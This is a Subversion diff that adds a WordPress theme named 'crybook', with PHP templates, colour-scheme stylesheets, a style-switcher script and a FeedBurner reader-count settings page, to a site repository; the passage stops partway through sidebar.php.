+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/archive.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        
+
+		<?php if (have_posts()) : ?>
+
+ 	  <?php $post = $posts[0]; // Hack. Set $post so that the_date() works. ?>
+ 	  <?php /* If this is a category archive */ if (is_category()) { ?>
+		<h2 class="pagetitle">Archive for the &#8216;<?php single_cat_title(); ?>&#8217; Category</h2>
+ 	  <?php /* If this is a tag archive */ } elseif( is_tag() ) { ?>
+		<h2 class="pagetitle">Posts Tagged &#8216;<?php single_tag_title(); ?>&#8217;</h2>
+ 	  <?php /* If this is a daily archive */ } elseif (is_day()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('F jS, Y'); ?></h2>
+ 	  <?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('F, Y'); ?></h2>
+ 	  <?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+		<h2 class="pagetitle">Archive for <?php the_time('Y'); ?></h2>
+	  <?php /* If this is an author archive */ } elseif (is_author()) { ?>
+		<h2 class="pagetitle">Author Archive</h2>
+ 	  <?php /* If this is a paged archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+		<h2 class="pagetitle">Blog Archives</h2>
+ 	  <?php } ?>
+
+		<?php while (have_posts()) : the_post(); ?>
+		<div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link to <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Posted on the"); ?> <?php the_time('F jS, Y') ?> under <?php the_category(',') ?> by <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                
+                <?php the_content(__('')); ?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Read More</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Older Entries') ?></div>
+                <div class="next-page"><?php previous_posts_link('Newer Entries') ?></div>
+            </div>
+        </div>
+
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/blue.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/blue.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/blue.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #3b5998; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #6d84b4; }
+a { color: #1e3b78; }
+
+#content .meta-footer ul li { background-color: #d3dae8; }
+#content .meta-footer ul li a:hover { background-color: #6d84b4; }	
+#content #comments h3 { color: #6d84b4; }	
+#content #comments .meta-comment { color: #6d84b4; }
+#content #respond h3 { color: #6d84b4; }
+
+.avatar { border: 1px solid #6d84b4; }
+
+#sidebar .feeds { color: #6d84b4; }
+	
+#content .meta-header { color: #6D84B4; }
+#content .entry h2 { color: #3b5998; }
+#content .entry h2 a { color: #3b5998; }
+#content .entry h2 a:hover { color: #3b5998; border-bottom: 1px solid #3b5998; }
+#sidebar h3 { color: #3b5998; }
+#sidebar .feeds strong { color: #3b5998; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/comments.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/comments.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/comments.php	(revision 44)
@@ -0,0 +1,96 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+// Do not delete these lines
+	if (!empty($_SERVER['SCRIPT_FILENAME']) && 'comments.php' == basename($_SERVER['SCRIPT_FILENAME']))
+		die ('Please do not load this page directly. Thanks!');
+
+	if ( post_password_required() ) { ?>
+		<p class="nocomments">This post is password protected. Enter the password to view comments.</p>
+	<?php
+		return;
+	}
+?>
+
+<!-- You can start editing here. -->
+
+<div id="comments">
+
+<?php if ( have_comments() ) : ?>
+	<div class="box" id="met">
+    <h3 class="reply"><?php comments_number('No Responses', 'One Response', '% Responses' );?> to '<?php the_title(); ?>'</h3>
+    <div class="meta-comment"><?php comments_rss_link(__('Subscribe to comments with RSS')); ?></div>
+    </div>
+    
+	<ol class="commentlist box">
+	<?php wp_list_comments('type=comment&callback=mytheme_comment'); ?>
+	</ol>
+
+	<div class="navigation">
+		<div class="alignleft cp"><?php previous_comments_link() ?></div>
+		<div class="alignright cp"><?php next_comments_link() ?></div>
+	</div>
+ <?php else : // this is displayed if there are no comments so far ?>
+
+	<?php if ('open' == $post->comment_status) : ?>
+		<!-- If comments are open, but there are no comments. -->
+
+	 <?php else : // comments are closed ?>
+		<!-- If comments are closed. -->
+		<p class="nocomments">Comments are closed.</p>
+		</div>
+	<?php endif; ?>
+<?php endif; ?>
+
+
+<?php if ('open' == $post->comment_status) : ?>
+
+<div id="respond" class="box">
+
+<h3><?php comment_form_title( 'Leave a Reply', 'Leave a Reply to %s' ); ?></h3>
+
+<div class="cancel-comment-reply">
+	<small><?php cancel_comment_reply_link(); ?></small>
+</div>
+
+<?php if ( get_option('comment_registration') && !$user_ID ) : ?>
+<p>You must be <a href="<?php echo get_option('siteurl'); ?>/wp-login.php?redirect_to=<?php echo urlencode(get_permalink()); ?>">logged in</a> to post a comment.</p>
+<?php else : ?>
+
+<form action="<?php echo get_option('siteurl'); ?>/wp-comments-post.php" method="post" id="commentform">
+
+<?php if ( $user_ID ) : ?>
+
+<p>Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="Log out of this account">Log out &raquo;</a></p>
+
+<?php else : ?>
+
+<div><label for="author"><small>Name <?php if ($req) echo "(required)"; ?></small></label><br /><input type="text" name="author" id="author" value="<?php echo $comment_author; ?>" size="22" tabindex="1" <?php if ($req) echo "aria-required='true'"; ?> />
+</div>
+
+<div><label for="email"><small>Mail (will not be published) <?php if ($req) echo "(required)"; ?></small></label><br /><input type="text" name="email" id="email" value="<?php echo $comment_author_email; ?>" size="22" tabindex="2" <?php if ($req) echo "aria-required='true'"; ?> />
+</div>
+
+<div><label for="url"><small>Website</small></label><br /><input type="text" name="url" id="url" value="<?php echo $comment_author_url; ?>" size="22" tabindex="3" />
+</div>
+
+<?php endif; ?>
+
+<div><small><strong>XHTML:</strong>:<br /><code><?php echo allowed_tags(); ?></code></small></div>
+
+<p><label for="comments"><small>Comments</small></label><br /><textarea name="comment" id="comment" cols="50" rows="6" tabindex="4"></textarea></p>
+
+<p><input name="submit" type="submit" id="submit" tabindex="5" value="Submit Comment" class="box" />
+<?php comment_id_fields(); ?>
+</p>
+<?php do_action('comment_form', $post->ID); ?>
+
+</form>
+</div>
+<?php endif; // If registration required and not logged in ?>
+</div>
+
+<?php endif; // if you delete this the sky will fall on your head ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/footer.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/footer.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/footer.php	(revision 44)
@@ -0,0 +1,11 @@
+    </div>
+    	<div id="footer">
+        	<p>
+				&copy; <?php echo date('Y'); ?> <a href="<?php bloginfo('url'); ?>"><?php bloginfo('name'); ?></a>. Theme designed by <a href="http://themetation.com">Themetation</a> &amp; developed by <a href="http://crynobone.com">Crynobone</a>. Happily powered by <a href="http://wordpress.org/">WordPress</a>.             	
+            </p>
+			<?php wp_footer(); ?>
+        </div>
+
+
+</body>
+</html>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/functions.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/functions.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/functions.php	(revision 44)
@@ -0,0 +1,180 @@
+<?php
+
+// Theme Name: CryBook
+// Edit this file on your own risk!
+
+add_action('admin_menu', 'crybook_options'); // Theme Menu "Brightness Settings"
+add_action('wp_head', 'crybook_feed');
+
+function crybook_feed() {
+	$last_update = intval(get_option('crybook_feed_lastupdate'));
+	$enable = get_option('crybook_feed_enable');
+	$now = time();
+	if($enable === 'yes' and ($now - $last_update) > (60*60*24)) :
+		//get cool feedburner count
+		$feed = get_option('crybook_feed_uri');
+		$whaturl="http://api.feedburner.com/awareness/1.0/GetFeedData?uri=$feed";
+		
+		//Initialize the Curl session
+		$ch = curl_init();
+		
+		//Set curl to return the data instead of printing it to the browser.
+		curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+		//Set the URL
+		curl_setopt($ch, CURLOPT_URL, $whaturl);
+		//Execute the fetch
+		$data = curl_exec($ch);
+		//Close the connection
+		curl_close($ch);
+	
+		$xml = new SimpleXMLElement($data);
+		$fb = $xml->feed->entry['circulation'];
+		if(!$fb) :
+			$fb = 0;
+		endif;
+		$id = $xml->feed['id'];
+		
+		update_option("crybook_feed_count", "<strong>" .$fb." reader".($fb > 1 ? "s</strong>" : ""));
+		update_option('crybook_feed_id', $id."");
+		//end get cool feedburner count
+		
+		update_option("crybook_feed_lastupdate", $now."");
+	endif;
+}
+
+function crybook() {
+	
+	if(isset($_POST['submitted']) and $_POST['submitted'] == 'yes') :
+		update_option("crybook_feed_uri", stripslashes($_POST['feed_uri']));
+		update_option("crybook_aside_cat", stripslashes($_POST['aside_cat']));
+		update_option("crybook_about_site", stripslashes($_POST['about_site']));
+		
+		if(isset($_POST['feed_update']) and $_POST['feed_update'] == 'yes') :
+			update_option("crybook_feed_lastupdate", "0");
+		endif;
+		
+		if(isset($_POST['feed_enable']) and $_POST['feed_enable'] == 'yes') :
+			update_option("crybook_feed_enable", "yes");
+		else :
+			update_option("crybook_feed_enable", "no");
+		endif;
+		
+		echo "<div id=\"message\" class=\"updated fade\"><p><strong>Your settings have been saved.</strong></p></div>";
+	endif; 
+	
+	$data = array(
+		'feed' => array(
+			'uri' => get_option('crybook_feed_uri'),
+			'id' => get_option('crybook_feed_id'),
+			'enable' => get_option('crybook_feed_enable')
+		),
+		'aside' => get_option('crybook_aside_cat'),
+		'about' => get_option('crybook_about_site')
+	);
+?>
+<!-- Our Community Settings Update Form -->
+<div class="wrap">	
+	<form method="post" name="update_form" target="_self">	
+    	<h2>CryBook Settings</h2>
+        <h3>Site About</h3>
+		<p>Display at the upper sidebar of your site</p>
+		<table class="form-table my">
+			<tr>
+				<th>
+					Description:
+				</th>
+				<td>
+					<textarea name="about_site" rows="10" style="width:95%"><?php echo $data['about']; ?></textarea>
+				</td>
+			</tr>
+		</table>
+        <h3>Feedburner</h3>
+		<p>Key in your Feedburner data</p>
+		<table class="form-table my">
+			<tr>
+				<th>
+					FeedURI:
+				</th>
+				<td>
+					http://feeds.feedburner.com/<input type="text" name="feed_uri" value="<?php echo $data['feed']['uri']; ?>" size="35" />
+                    <br />Check to enable feed count (text) <input type="checkbox" name="feed_enable" <?php echo ($data['feed']['enable'] == 'yes' ? 'checked="checked"' : ''); ?> value="yes" /> 
+				</td>
+			</tr>
+            <tr>
+				<th>
+					FeedID:
+				</th>
+				<td>
+					http://www.feedburner.com/fb/a/emailverifySubmit?feedId=<strong><?php echo $data['feed']['id']; ?></strong>&amp;loc=en_US<br />Use to allow visitor to subscribe feed using e-mail.
+				</td>
+			</tr>
+            <tr>
+				<th>
+					Flush Reader Count:
+				</th>
+				<td>
+					Last update: <strong><?php echo date('Y-m-d H:i:s', get_option('crybook_feed_lastupdate')); ?></strong><br /><input type="checkbox" name="feed_update" value="yes" /> Check to reset reader count.
+				</td>
+			</tr>
+		</table>
+        <p class="submit">
+			<input name="submitted" type="hidden" value="yes" />
+			<input type="submit" name="Submit" value="Update &raquo;" />
+		</p>
+	</form>
+     	<h3>Themetation</h3>
+		<p>thank you for using our WordPress Themes. If you need any support, feel free to post it up in our <a href="http://themetation.com/forum">fourm</a> you can get some wordpress tips at <a href="http://themetation.com">themetation.com</a>.</p>
+</div>
+<?php
+}
+
+function crybook_options() { // Adds Dashboard Menu Item
+	add_menu_page('CryBook Settings', 'CryBook Settings', 'edit_themes', __FILE__, 'crybook');
+}
+
+if(function_exists('register_sidebar')) :
+    register_sidebar(array(
+        'name' => 'sidebar-left',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+	register_sidebar(array(
+        'name' => 'sidebar-right',
+		'before_widget' => '<div class="box">',
+        'after_widget' => '</div>',
+        'before_title' => '<h3>',
+        'after_title' => '</h3>',
+    ));
+endif;
+
+function mytheme_comment($comment, $args, $depth) {
+   $GLOBALS['comment'] = $comment; ?>
+   <li <?php comment_class(); ?> id="comment-<?php comment_ID() ?>">
+     <div id="div-comment-<?php comment_ID(); ?>" class="c">
+      <div class="comment-author vcard">
+         <?php echo get_avatar( $comment, 60 ); ?>
+         <small><?php printf(__('%1$s at %2$s'), get_comment_date(),  get_comment_time()) ?> <?php edit_comment_link(__('(Edit)'),'  ','') ?></small><br />
+         <?php printf(__('<em>%s</em>'), get_comment_author_link()) ?>
+      </div>
+     
+      <div class="comment-meta commentmetadata">
+      <div class="reply">
+         <?php comment_reply_link(array_merge( $args, array('add_below' => 'div-comment', 'depth' => $depth, 'max_depth' => $args['max_depth']))) ?>
+      </div>      
+      <?php if ($comment->comment_approved == '0') : ?>
+         <em><?php _e('Your comment is awaiting moderation.') ?></em>
+         <br />
+      <?php endif; ?>
+	
+      <?php comment_text() ?>
+
+
+      </div>
+     </div>
+     <div class="clear"></div>
+<?php
+        }
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/green.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/green.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/green.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #70983B; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #46671C; }
+a { color: #46671C;}
+
+#content .meta-footer ul li { background-color: #A1C86E; }	
+#content .meta-footer ul li a:hover { background-color: #46671C; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #46671C; }
+
+#sidebar .feeds { color: #46671C; }
+	
+#content .meta-header { color: #A1C86E; }
+#content .entry h2 { color: #46671C; }
+#content .entry h2 a { color: #46671C; }
+#content .entry h2 a:hover { color: #46671C; border-bottom: 1px solid #46671C; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #46671C; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/header.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/header.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/header.php	(revision 44)
@@ -0,0 +1,49 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" <?php language_attributes(); ?>>
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="<?php bloginfo('html_type'); ?>; charset=<?php bloginfo('charset'); ?>" />
+    <title><?php wp_title('--',true,'right'); ?> <?php bloginfo('name');?></title>
+    
+    <link rel="alternate" type="application/rss+xml" title="<?php bloginfo('name'); ?> RSS Feed" href="<?php bloginfo('rss2_url'); ?>" />
+    <link rel="pingback" href="<?php bloginfo('pingback_url'); ?>" />
+    <script type="text/javascript" src="<?php bloginfo('template_directory'); ?>/js/switch.js"></script>
+    
+	<link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/style.css" type="text/css" media="screen"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/blue.css" type="text/css" media="screen" title="default"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/pink.css" type="text/css" media="screen" title="pink"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/green.css" type="text/css" media="screen" title="green"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/purple.css" type="text/css" media="screen" title="purple"/>
+    <link rel="stylesheet" href="<?php bloginfo('template_directory'); ?>/red.css" type="text/css" media="screen" title="red"/>
+    
+	<?php if ( is_singular() ) wp_enqueue_script( 'comment-reply' ); ?>
+    <?php wp_head(); ?>
+</head>
+<body>
+
+<!--#wrapper:start-->
+	<div id="wrapper">
+    
+<!--#header:start-->
+    	<div id="header">
+        	<h1><a href="<?php echo get_option('home'); ?>/"><?php bloginfo('name'); ?></a></h1>
+
+<!--#navigation:start-->
+            <div id="navigation">
+            	<ul>
+                	<li><a href="<?php echo get_option('home'); ?>/" class="<?php echo (is_home() ? 'current' : ''); ?>">Home</a></li>
+                    <?php wp_list_pages('title_li='); ?>
+                </ul>
+            </div>
+<!--#navigation:end-->
+<!--#search:start-->
+            <div id="search">
+				<form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
+                <input type="text" value="<?php the_search_query(); ?>" name="s" id="s" />
+                <input type="submit" id="searchsubmit" value="<?php _e('cerca'); ?>" />
+
+                </form>
+            </div>
+<!--#search:end-->
+        </div>
+<!--#header:end-->
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/index.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        <?php 
+        $delicious = get_option('crybook_delicious_uri');
+		if (have_posts()) : 
+		while (have_posts()) : the_post();
+		?>
+        <div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link a <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in  <?php the_category(',') ?> da <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Edit</a>')); ?></p>
+                
+                <?php the_content(__('')); ?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Leggi Tutto</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Precedenti') ?></div>
+                <div class="next-page"><?php previous_posts_link('Successivi') ?></div>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/js/switch.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/js/switch.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/js/switch.js	(revision 44)
@@ -0,0 +1,64 @@
+function setActiveStyleSheet(title) {
+  var i, a, main;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title")) {
+      a.disabled = true;
+      if(a.getAttribute("title") == title) a.disabled = false;
+    }
+  }
+}
+
+function getActiveStyleSheet() {
+  var i, a;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1 && a.getAttribute("title") && !a.disabled) return a.getAttribute("title");
+  }
+  return null;
+}
+
+function getPreferredStyleSheet() {
+  var i, a;
+  for(i=0; (a = document.getElementsByTagName("link")[i]); i++) {
+    if(a.getAttribute("rel").indexOf("style") != -1
+       && a.getAttribute("rel").indexOf("alt") == -1
+       && a.getAttribute("title")
+       ) return a.getAttribute("title");
+  }
+  return null;
+}
+
+function createCookie(name,value,days) {
+  if (days) {
+    var date = new Date();
+    date.setTime(date.getTime()+(days*24*60*60*1000));
+    var expires = "; expires="+date.toGMTString();
+  }
+  else expires = "";
+  document.cookie = name+"="+value+expires+"; path=/";
+}
+
+function readCookie(name) {
+  var nameEQ = name + "=";
+  var ca = document.cookie.split(';');
+  for(var i=0;i < ca.length;i++) {
+    var c = ca[i];
+    while (c.charAt(0)==' ') c = c.substring(1,c.length);
+    if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length);
+  }
+  return null;
+}
+
+window.onload = function(e) {
+  var cookie = readCookie("style");
+  var title = cookie ? cookie : getPreferredStyleSheet();
+  setActiveStyleSheet(title);
+}
+
+window.onunload = function(e) {
+  var title = getActiveStyleSheet();
+  createCookie("style", title, 365);
+}
+
+var cookie = readCookie("style");
+var title = cookie ? cookie : getPreferredStyleSheet();
+setActiveStyleSheet(title);
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/page.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/page.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/page.php	(revision 44)
@@ -0,0 +1,21 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        <?php if (have_posts()) : ?>
+        <?php while (have_posts()) : the_post(); ?>
+        	<div class="entry" id="post-<?php the_ID(); ?>">
+            	<h2><?php the_title(); ?></h2>
+                
+                <?php 
+				the_content(__(''));
+				wp_link_pages(array('before' => '<p><strong>Pagine:</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); 
+				edit_post_link('Edit this entry.', '<p>', '</p>'); 
+				?>
+            </div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/pink.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/pink.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/pink.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #F28CB5; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #B03466; }
+a { color: #D82D6D;}
+
+#content .meta-footer ul li { background-color: #ECD0D0; }	
+#content .meta-footer ul li a:hover { background-color: #D65C8D; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #B03466; }
+
+.avatar { border: 1px solid #B03466; }
+
+#sidebar .feeds { color: #B03466; }
+	
+#content .meta-header { color: #B03466; }
+#content .entry h2 { color: #D65C8D; }
+#content .entry h2 a { color: #D65C8D; }
+#content .entry h2 a:hover { color: #D65C8D; border-bottom: 1px solid #D65C8D; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #3b5998; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/purple.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/purple.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/purple.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #b98eea; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #7c2ed3; }
+a { color: #7c2ed3;}
+
+#content .meta-footer ul li { background-color: #b17fe8; }	
+#content .meta-footer ul li a:hover { background-color: #7c2ed3; }	
+#content #comments h3 { color: #B03466; }	
+#content #comments .meta-comment { color: #B03466; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #46671C; }
+
+#sidebar .feeds { color: #b17fe8; }
+	
+#content .meta-header { color: #b17fe8; }
+#content .entry h2 { color: #7c2ed3; }
+#content .entry h2 a { color: #7c2ed3; }
+#content .entry h2 a:hover { color: #7c2ed3; border-bottom: 1px solid #7c2ed3; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #7c2ed3; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/read me.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/read me.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/read me.txt	(revision 44)
@@ -0,0 +1,25 @@
+CREATED BY KAI LOON @ KAILOON.COM
+=================================
+
+INTRODUCTION
+============
+Thanks for choosing superfresh by Kai Loon. I hope that you can enjoy your blogging with this theme.
+
+WHAT YOU GET
+============
+1. Theme folder (crybook)
+
+
+HOW TO INSTALL
+==============
+1. Extract the zip file to your wp-content folder.
+2. Log into WordPress administration and click on "Design"
+3. Look for the "crybook" image and click on it to install / activate this theme.
+4. Go back to your blog's front page and refresh / reload it.
+
+
+SUPPORT
+=======
+1. http://www.themetation.com/forum
+
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/red.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/red.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/red.css	(revision 44)
@@ -0,0 +1,20 @@
+#header { background-color: #e95959; }
+#navigation ul li a.current, #navigation ul li.current_page_item a { background: #740f0f; }
+a { color: #740f0f;}
+
+#content .meta-footer ul li { background-color: #e95959; }	
+#content .meta-footer ul li a:hover { background-color: #740f0f; }	
+#content #comments h3 { color: #740f0f; }	
+#content #comments .meta-comment { color: #e95959; }
+#content #respond h3 { color: #46671C; }
+
+.avatar { border: 1px solid #e95959; }
+
+#sidebar .feeds { color: #e95959; }
+	
+#content .meta-header { color: #e95959; }
+#content .entry h2 { color: #740f0f; }
+#content .entry h2 a { color: #740f0f; }
+#content .entry h2 a:hover { color: #740f0f; border-bottom: 1px solid #740f0f; }
+#sidebar h3 { color: #333; }
+#sidebar .feeds strong { color: #740f0f; }
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/search.php	(revision 44)
@@ -0,0 +1,36 @@
+<?php get_header(); ?>
+<!--#content:start-->
+    	<div id="content">
+        <?php 
+        $delicious = get_option('crybook_delicious_uri');
+		if (have_posts()) : 
+		while (have_posts()) : the_post();
+		?>
+        <div class="entry" id="post-<?php the_ID(); ?>">
+        
+		
+            	<h2><a href="<?php the_permalink() ?>" rel="bookmark" title="Permanent Link a <?php the_title_attribute(); ?>"><?php the_title(); ?></a></h2>
+                <p class="meta-header"><?php _e("Ricevuto il"); ?> <?php the_time('d F , Y') ?> in <?php the_category(',') ?> da <?php the_author_posts_link(); ?> <?php edit_post_link(__('<span class="edit">Modifica</a>')); ?></p>
+                
+                <?php the_content(__('')); ?>
+                
+                <div class="meta-footer">
+                	<ul>
+                        <li><a href="<?php the_permalink() ?>">Leggi Tutto</a></li>
+                        <li><a href="<?php the_permalink() ?>#comment"><?php comments_number(); ?></a></li>
+                        <?php edit_post_link(__('Edit'), '<li>', '</li>'); ?>
+                    </ul>
+                 <div class="clear-left"></div>   
+				</div>
+        
+        	</div>
+        <?php endwhile; ?>
+        <?php endif; ?>
+			<div class="pagination">
+                <div class="prev-page"><?php next_posts_link('Older Entries') ?></div>
+                <div class="next-page"><?php previous_posts_link('Newer Entries') ?></div>
+            </div>
+        </div>
+<!--#content:end-->
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/crybook/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/crybook/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/crybook/sidebar.php	(revision 44)
@@ -0,0 +1,44 @@
+		<?php
+			$feed_uri = get_option('crybook_feed_uri');
+			
+			if(!$feed_uri or $feed_uri == '') :
+				$feed_uri = get_bloginfo('rss2_url');
+			else :
+				$feed_uri = 'http://feeds.feedburner.com/' . $feed_uri;
+			endif;
+			
+			$feed_email = get_option('crybook_feed_id');
+			if($feed_email or $feed_email != '') :
+				$feed_email = " or <a href='http://www.feedburner.com/fb/a/emailverifySubmit?feedId=".$feed_email."&amp;loc=en_US'>e-mail</a>";
+			endif;
+		?>
+		<div id="sidebar">
+        	<p id="switcher">
+            	<a href="/" onclick="setActiveStyleSheet('default'); return false;" id="blue" title="Blue">Blue</a>
+				<a href="/" onclick="setActiveStyleSheet('pink'); return false;" id="pink" title="Pink">Pink</a>
+				<a href="/" onclick="setActiveStyleSheet('green'); return false;" id="green" title="Green">Green</a>
+                <a href="/" onclick="setActiveStyleSheet('purple'); return false;" id="purple" title="Purple">Purple</a>
+                <a href="/" onclick="setActiveStyleSheet('red'); return false;" id="red" title="Red">Red</a>
+            </p>
+        	<div class="about box">
+            <?php query_posts('pagename=about'); ?>
+        	<?php while (have_posts()) : the_post(); ?>
+            	<h3><?php _e('About'); ?></h3>
+            	<p><?php echo get_avatar( get_the_author_id(), '80', ''); ?> <?php echo get_option('crybook_about_site'); ?></p>
+                <div class="clear"></div>
+            
+            <?php endwhile; ?>
+            </div>
